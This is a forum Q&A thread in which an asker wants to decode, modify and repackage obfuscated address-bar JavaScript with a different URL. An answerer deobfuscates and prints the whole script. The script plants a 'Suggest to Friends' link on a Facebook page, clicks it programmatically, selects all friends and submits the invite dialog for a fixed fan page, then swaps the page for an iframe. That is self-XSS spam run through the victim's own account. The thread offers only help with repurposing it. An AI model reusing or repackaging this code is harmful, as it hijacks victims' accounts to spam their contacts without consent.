Javascript in address bar, how do I decipher?

I have a javascript code that appears to be encrypted:

I have seen similar instances and I have heard it may be Hex. I have been doing some google research and have found some online deciphers for Hex yet they all seem to struggle decrypting the code.

I basically need to decipher this code, change some variables and repack it exactly how I found it but replacing a URL. How can I go about this? Are there any free online tools available?

Many thanks.

I removed the javascript: from the beginning of the code and replaced " with ", as this was clearly taken from the internals of an HTML tag. Then I ran it through the Online JavaScript Beautifier and got this, which should be a little more helpful:

var variables = ['innerHTML', 'app4949752878_body', 'getElementById', '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=116878494992657" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>', 'suggest', 'MouseEvents', 'createEvent', 'click', 'initEvent', 'dispatchEvent', 'select_all', 'sgm_invite_form', '/ajax/social_graph/invite_dialog.php', 'submitDialog'];
void(document[variables[2]](variables[1])[variables[0]] = variables[3]);
var ss = document[variables[2]](variables[4]);
var c = document[variables[6]](variables[5]);
c[variables[8]](variables[7], true, true);
void ss[variables[9]](c);
void setTimeout(function () {
    fs[variables[10]]();
}, 4000);
void setTimeout(function () {
    SocialGraphManager[variables[13]](variables[11], variables[12]);
}, 5000);
void(document[variables[2]](variables[1])[variables[0]] = '<iframe src="google.com" style="width: 820px; height: 600px;" frameborder=0 scrolling="no"></iframe>');

Here's an old page I wrote a long time ago that's handy for dealing with bookmarklets: http://gutfullofbeer.net/escape.html

It's really trivial but I find a use for it every once in a while. (Wouldn't directly help with that code, however, because it wouldn't undo that silly hex encoding stuff.)

You should read this : http://translate.google.fr/translate?hl=fr&sl=fr&tl=en&u=http://www.siteduzero.com/tutoriel-3-167589-les-bookmarklets-ou-comment-modifier-la-page-d-un-site-depuis-la-barre-d-adresse.html#ss_part_3 Using vois really isn't the better way preventing the browser from catching the return value. Closures are much better. Moreover because they prevent bookmarklets from putting global vars.
